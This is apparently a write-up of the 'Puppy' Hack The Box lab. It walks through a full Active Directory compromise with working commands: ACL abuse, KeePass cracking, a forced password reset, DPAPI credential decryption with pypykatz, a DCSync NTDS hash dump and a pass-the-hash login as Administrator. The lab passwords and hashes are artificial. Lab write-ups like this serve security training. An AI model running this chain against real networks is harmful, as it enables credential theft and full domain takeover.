Post

Puppy

Puppy

Puppy is a medium active directory Windows machine. We are given credentials for a low privilege user, levi.james, which we can use to start enumerating the active directory environment. We have some read access on some shares but they do not contain any information that would help us to move laterally through the domain. After running bloodhound it is discovered that the user levi belongs to the HR group which has the GenericWrite ACL to the Developers group. Using this ACL we can add this user to the group which grants us read access to the developer’s share. This shares contains a password protected credential database. After using john I was able to crack the password to open the database which contained credentials for the user ant.edwards. This user is able to change the password of the user adam.silver. This user is able to PSRemote to the domain controller. After enumerating the file system it is found that in the root directory there is a backup directory which contained a zip file containing a site backup from 2024. After downloading this zip file and extracting it we can view yet another password, this time for the user steph.cooper. This user also has an admin account, steph.cooper_adm which can perform a DCSync attack. A DPAPI encrypted credential blob is found in the AppData directory. Decrypting this credential gives us the password for the admin account. After performing the DCSync attack we are able to retrieve the NTLM hash of the Administrator account.

puppy_info_card

Enumeration

As usual we can run an nmap scan to view the open ports and get some information about the services being hosted on them.

NMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# Nmap 7.94SVN scan initiated Mon May 19 10:51:50 2025 as: nmap -Pn -p 53,88,111,135,139,389,445,464,593,636,2049,3260,3268,3269 -sCV -oN nmap/puppy 10.10.11.70
Nmap scan report for 10.10.11.70
Host is up (0.016s latency).

Bug in iscsi-info: no string output.
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-19 15:51:58Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
    ...
    <SNIP>
    ...
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3260/tcp open  iscsi?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h00m00s
| smb2-time: 
|   date: 2025-05-19T15:53:50
|_  start_date: N/A

We can quickly identify that we are dealing with a domain controller by verifying that port 88 is open. The main takeaway from this scan is the clock skew of the server which is 7 hours, this is important as some scripts might fail if we do not align our own time to the server’s. We can also see that ldap is leaking the domain name which is PUPPY.HTB.

Netexec

Since we have been provided credentials for the user levi.james we can use those to enumerate the users that are on the domain and the shares alongside the permissions we have on them. Using the --users option on netexec gives us the registered users on the domain.

1
2
3
4
5
6
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm
1
2
3
4
5
6
7
8
9
10
11
12
netexec smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --shares
SMB      10.10.11.70     445    DC   [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB      10.10.11.70     445    DC   [+] PUPPY.HTB\levi.james:KingofAkron2025! 
SMB      10.10.11.70     445    DC   [*] Enumerated shares
SMB      10.10.11.70     445    DC   Share           Permissions     Remark
SMB      10.10.11.70     445    DC   -----           -----------     ------
SMB      10.10.11.70     445    DC   ADMIN$                          Remote Admin
SMB      10.10.11.70     445    DC   C$                              Default share
SMB      10.10.11.70     445    DC   DEV                             DEV-SHARE for PUPPY-DEVS
SMB      10.10.11.70     445    DC   IPC$            READ            Remote IPC
SMB      10.10.11.70     445    DC   NETLOGON        READ            Logon server share 
SMB      10.10.11.70     445    DC   SYSVOL          READ            Logon server share 

We can see that we are dealing with windows server 2022 which is good to know as older exploits might not work on this newer version. Since we have read access on three shares we can use smbclient to view them. IPC and NETLOGON do not contain any files. SYSVOL in the other hand has a lot of directories which can be time consuming to dig through. Personally I like downloading the entire share to my machine and then use the tree command to quickly view the structure of the share.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
smbclient -U "levi.james" //10.10.11.70/SYSVOL -c 'recurse ON; prompt OFF; mget *'
tree .
├── lvRxjnmZBA
├── PUPPY.HTB
│   ├── DfsrPrivate
│   ├── Policies
│   │   ├── {31B2F340-016D-11D2-945F-00C04FB984F9}
│   │   │   ├── GPT.INI
│   │   │   ├── MACHINE
│   │   │   │   ├── Microsoft
│   │   │   │   │   └── Windows NT
│   │   │   │   │       └── SecEdit
│   │   │   │   │           └── GptTmpl.inf
│   │   │   │   ├── Registry.pol
│   │   │   │   └── Scripts
│   │   │   │       ├── Shutdown
│   │   │   │       └── Startup
│   │   │   └── USER
│   │   ├── {6AC1786C-016F-11D2-945F-00C04fB984F9}
│   │   │   ├── GPT.INI
│   │   │   ├── MACHINE
│   │   │   │   ├── Applications
│   │   │   │   ├── comment.cmtx
│   │   │   │   ├── Microsoft
│   │   │   │   │   └── Windows NT
│   │   │   │   │       └── SecEdit
│   │   │   │   │           └── GptTmpl.inf
│   │   │   │   ├── Registry.pol
│   │   │   │   └── Scripts
│   │   │   │       ├── Shutdown
│   │   │   │       └── Startup
│   │   │   └── USER
│   │   └── {841B611C-9F3B-4090-BA0C-2AE4D6C02AF8}
│   │       ├── GPT.INI
│   │       ├── Machine
│   │       │   └── Registry.pol
│   │       └── User
│   └── scripts
└── UltFsQYRGg.txt

28 directories, 10 files

These files do not contain any useful information but its always a good idea to dig around this default share is it might contain some old scripts which could contain sensitive information.

Bloodhound

Since the nmap scan and the shares we have access to do not contain any useful information I decide to run a bloodhound scan using its python version to view if there are any interesting ACL’s our user might have.

alt text

We can see that levi is a member of the HR group which has GenericWrite to the Developers group. This can be used to add this user to the Developers group, this group does not have any special permissions but it might have read access to the DEV share we enumerated earlier. We can add levi to that group using the following command:

Getting access to the DEV share

1
net rpc group addmem "Developers" "levi.james" -U "puppy.htb"/"levi.james"%"KingofAkron2025!" -S "10.10.11.70"
1
2
3
4
5
6
7
8
9
10
11
12
netexec smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --shares
SMB      10.10.11.70     445    DC   [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB      10.10.11.70     445    DC   [+] PUPPY.HTB\levi.james:KingofAkron2025! 
SMB      10.10.11.70     445    DC   [*] Enumerated shares
SMB      10.10.11.70     445    DC   Share           Permissions     Remark
SMB      10.10.11.70     445    DC   -----           -----------     ------
SMB      10.10.11.70     445    DC   ADMIN$                          Remote Admin
SMB      10.10.11.70     445    DC   C$                              Default share
SMB      10.10.11.70     445    DC   DEV             READ            DEV-SHARE for PUPPY-DEVS
SMB      10.10.11.70     445    DC   IPC$            READ            Remote IPC
SMB      10.10.11.70     445    DC   NETLOGON        READ            Logon server share 
SMB      10.10.11.70     445    DC   SYSVOL          READ            Logon server share 

It worked and now we can read the DEV share. Using smbclient to access the share we can see a password database.

1
2
3
4
5
6
7
8
9
smbclient -U "levi.james" //10.10.11.70/DEV
Password for [WORKGROUP\levi.james]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Sun Mar 23 08:07:57 2025
  ..                                  D        0  Sat Mar  8 17:52:57 2025
  KeePassXC-2.7.9-Win64.msi           A 34394112  Sun Mar 23 08:09:12 2025
  Projects                            D        0  Sat Mar  8 17:53:36 2025
  recovery.kdbx                       A     2677  Wed Mar 12 03:25:46 2025

Password database

We can download this database and try to see what passwords are stored in it, but before being able to do so, we must find the master password to access the database. This can be done using john the ripper to extract the hash and crack it.

1
2
3
4
5
6
keepass2john recovery.kdbx > recovery.hash
john --wordlist=/usr/share/wordlists/rockyou.txt recovery.hash
john  recovery.hash --show
recovery:liverpool

1 password hash cracked, 0 left

With the master password we can now view the stored credentials. We can open the database with keepassxc recovery.kdbx and we get the following credentials:

1
2
3
4
5
adam.silver:HJKL2025!
jamie.williamson:JamieLove2025!
ant.edwards:Antman2025!
steve.tucker:Steve2025!
samuel.blake:ILY2025!

The only set of credentials that works it the one for ant.edwards. This user does not have any interesting share permissions but he does have an exploitable ACL. alt text

Using GenericAll to change adam’s password

With generic all we can change the user’s password we can do so with this command:

1
net rpc password "adam.silver" "newP@ssword2025" -U "puppy.htb"/"ant.edwards"%"Antman2025!" -S "10.10.11.70"

Enabling the account

But it’s not so simple. This account is actually disabled so if we try to login with netexec we get the following result: [-] PUPPY.HTB\adam.silver:newP@ssword2025 STATUS_ACCOUNT_DISABLE. To solve this we must use an ldap query to enable the account again. I believe we are allowed to do this because we have generic all over this account. To do so I created a file enable_account.ldif with the following contents:

1
2
3
4
dn: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
changetype: modify
replace: userAccountControl
userAccountControl: 66048

To get the DN of this user and the userAccountControl number I used this command:

1
2
3
4
5
6
7
8
9
10
11
12
13
ldapsearch -x -H ldap://10.10.11.70 -D "ant.edwards@puppy.htb" -w "Antman2025!" -b "dc=puppy,dc=htb" "(sAMAccountName=adam.silver)" userAccountControl
# extended LDIF
#
# LDAPv3
# base <dc=puppy,dc=htb> with scope subtree
# filter: (sAMAccountName=adam.silver)
# requesting: userAccountControl 
#

# Adam D. Silver, Users, PUPPY.HTB
dn: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: 66050
<SNIP>

To find the correct userAccountControl number I relied on ChatGPT. Turns out we have to subtract 2 to remove the disabled bit. We can now issue this command to apply the changes.

1
ldapmodify -x -H ldap://10.10.11.70 -D "ant.edwards@puppy.htb" -w "Antman2025!" -f enable_account.ldif

This correctly enabled the account and we have access to this new user: [+] PUPPY.HTB\adam.silver:newP@ssword2025. This user has the PSRemote ACL which allows us to establish a powershell session to the domain controller.

1
2
3
4
5
6
7
8
9
10
11
12
evil-winrm -i 10.10.11.70 -u adam.silver -p newP@ssword2025
*Evil-WinRM* PS C:\Users> ls

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          3/3/2025   8:26 AM                adam.silver
d-----         3/11/2025   9:14 PM                Administrator
d-----          3/8/2025   8:52 AM                ant.edwards
d-r---         2/19/2025  11:34 AM                Public
d-----          3/8/2025   7:40 AM                steph.cooper
d-----         5/20/2025   9:10 AM                steph.cooper_adm

Site backup

We can see that steph.cooper and its admin account are both in the domain controller’s users directory. Inside the root directory of the domain controller there is a Backups directory which contains a site backup from 2024.

1
2
3
4
5
6
*Evil-WinRM* PS C:\Backups> ls

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip

After downloading the file and unzipping it we find an interesting file.

1
2
3
4
5
6
7
8
9
10
11
12
13
cat nms-auth-config.xml.bak 
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <SNIP>
</ldap-config>

DPAPI secret

We now have a set of credentials for the user steph.cooper which also has the ability to establish a powershell session with the domain controller. But before doing that I would like to take a moment to recap and put some thought on how to proceed.

So we have access to the steph.cooper account which interestingly also has an admin account that can perform a DCSync attack as it is in the administrators group. Now, usually you would just try to priv escalate to the Administrator user but the box is really hinting us towards getting access to this steph.cooper admin account. From my (limited) experience a common way to do this would be to find credentials to this account lying somewhere on a directory inside the domain controller that the steph.cooper user has access to. A quick look around the home directory does not show anything interesting but if you know about DPAPI secrets it should be one of the first things you try now. This short pause was to show that this was not a random guess but instead carefully evaluating the resources we have and using them to find the correct path and not taking a shot in the dark.

These credentials are usually stored in the Appdata\Roaming\Microsoft\Credentials\ directory. We can go this directory and see if there are any files. Be careful a simple ls will not show the files as they are hidden, instead, use gci -force which will show all files. We see the file and now we can base64 encode it and transfer it to our linux machine.

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\steph.cooper\Appdata\Roaming\Microsoft\Credentials> gci -force

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:54 AM            414 C8D69EBE9A43E9DEBF6B5FBD48B521B9


*Evil-WinRM* PS C:\Users\steph.cooper\Appdata\Roaming\Microsoft\Credentials> [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9"))
AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc

We must also transfer the key to decrypt this encrypted blob, which can be found inside the Appdata\Roaming\Microsoft\Protect\*OUR_SID*\

1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\steph.cooper\Appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> gci -force

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:40 AM            740 556a2412-1275-4ccf-b721-e6a0b4f90407
-a-hs-         2/23/2025   2:36 PM             24 Preferred


*Evil-WinRM* PS C:\Users\steph.cooper\Appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407"))
AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=

We can then decrypt these files from base64 using the following commands:

1
2
cat credentialblob.b64 | base64 -d > credentialblob
cat dpapiblob.b64 | base64 -d > dpapiblob

Finally we can use pypykatz to decrypt the stored credential. We need the SID of the user and its password to complete the decryption. The first step is to get the prekey file which we can get with the following command:

1
pypykatz dpapi prekey password 'S-1-5-21-1487982659-1829050783-2281216199-1107' 'ChefSteph2025!' | tee pkf

Now we can start creating the masterkey file.

1
2
3
4
5
6
7
8
pypykatz dpapi masterkey dpapiblob pkf -o mkf
cat mkf
{
    "backupkeys": {},
    "masterkeys": {
        "556a2412-1275-4ccf-b721-e6a0b4f90407": "d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84"
    }
}

Finally we can decrypt the password:

1
2
3
4
5
6
pypykatz dpapi credential mkf credentialblob
type : DOMAIN_PASSWORD (2)
last_written : 133859228697062409
target : Domain:target=PUPPY.HTB
username : steph.cooper_adm
unknown4 : b'F\x00i\x00v\x00e\x00t\x00h\x00C\x00h\x00i\x00p\x00O\x00n\x00I\x00t\x00s\x00W\x00a\x00y\x002\x000\x002\x005\x00!\x00'

As you can see we get a password for the adm account of steph.cooper. Note that the password is in utf16 little endian so we should first put it in a readable format. I used python for this.

1
2
3
4
python3 
data = b'F\x00i\x00v\x00e\x00t\x00h\x00C\x00h\x00i\x00p\x00O\x00n\x00I\x00t\x00s\x00W\x00a\x00y\x002\x000\x002\x005\x00!\x00'
data.decode('utf-16le')
'FivethChipOnItsWay2025!'

DCSync

With this user we can now perform the DCSync attack and the easiest way I found to do this is with netexec --ntds option

1
2
3
4
5
6
7
8
9
10
11
12
13
14
netexec smb 10.10.11.70 -u steph.cooper_adm -p 'FivethChipOnItsWay2025!' --ntds
SMB    10.10.11.70     445    DC    [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB    10.10.11.70     445    DC    [+] PUPPY.HTB\steph.cooper_adm:FivethChipOnItsWay2025! (Pwn3d!)
SMB    10.10.11.70     445    DC    [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB    10.10.11.70     445    DC    Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb0edc15e49ceb4120c7bd7e6e65d75b:::
SMB    10.10.11.70     445    DC    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB    10.10.11.70     445    DC    krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a4f2989236a639ef3f766e5fe1aad94a:::
SMB    10.10.11.70     445    DC    PUPPY.HTB\levi.james:1103:aad3b435b51404eeaad3b435b51404ee:ff4269fdf7e4a3093995466570f435b8:::
SMB    10.10.11.70     445    DC    PUPPY.HTB\ant.edwards:1104:aad3b435b51404eeaad3b435b51404ee:afac881b79a524c8e99d2b34f438058b:::
SMB    10.10.11.70     445    DC    UPPY.HTB\adam.silver:1105:aad3b435b51404eeaad3b435b51404ee:a7d7c07487ba2a4b32fb1d0953812d66:::
SMB    10.10.11.70     445    DC    PUPPY.HTB\jamie.williams:1106:aad3b435b51404eeaad3b435b51404ee:bd0b8a08abd5a98a213fc8e3c7fca780:::
SMB    10.10.11.70     445    DC    PUPPY.HTB\steph.cooper:1107:aad3b435b51404eeaad3b435b51404ee:b261b5f931285ce8ea01a8613f09200b:::
SMB    10.10.11.70     445    DC    PUPPY.HTB\steph.cooper_adm:1111:aad3b435b51404eeaad3b435b51404ee:ccb206409049bc53502039b80f3f1173:::
SMB    10.10.11.70     445    DC    DC$:1000:aad3b435b51404eeaad3b435b51404ee:d5047916131e6ba897f975fc5f19c8df:::

We get the administrator hash and we can use Winrm to login and get the root flag.

1
2
3
evil-winrm -i 10.10.11.70 -u Administrator -H bb0edc15e49ceb4120c7bd7e6e65d75b
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
346052...
This post is licensed under CC BY 4.0 by the author.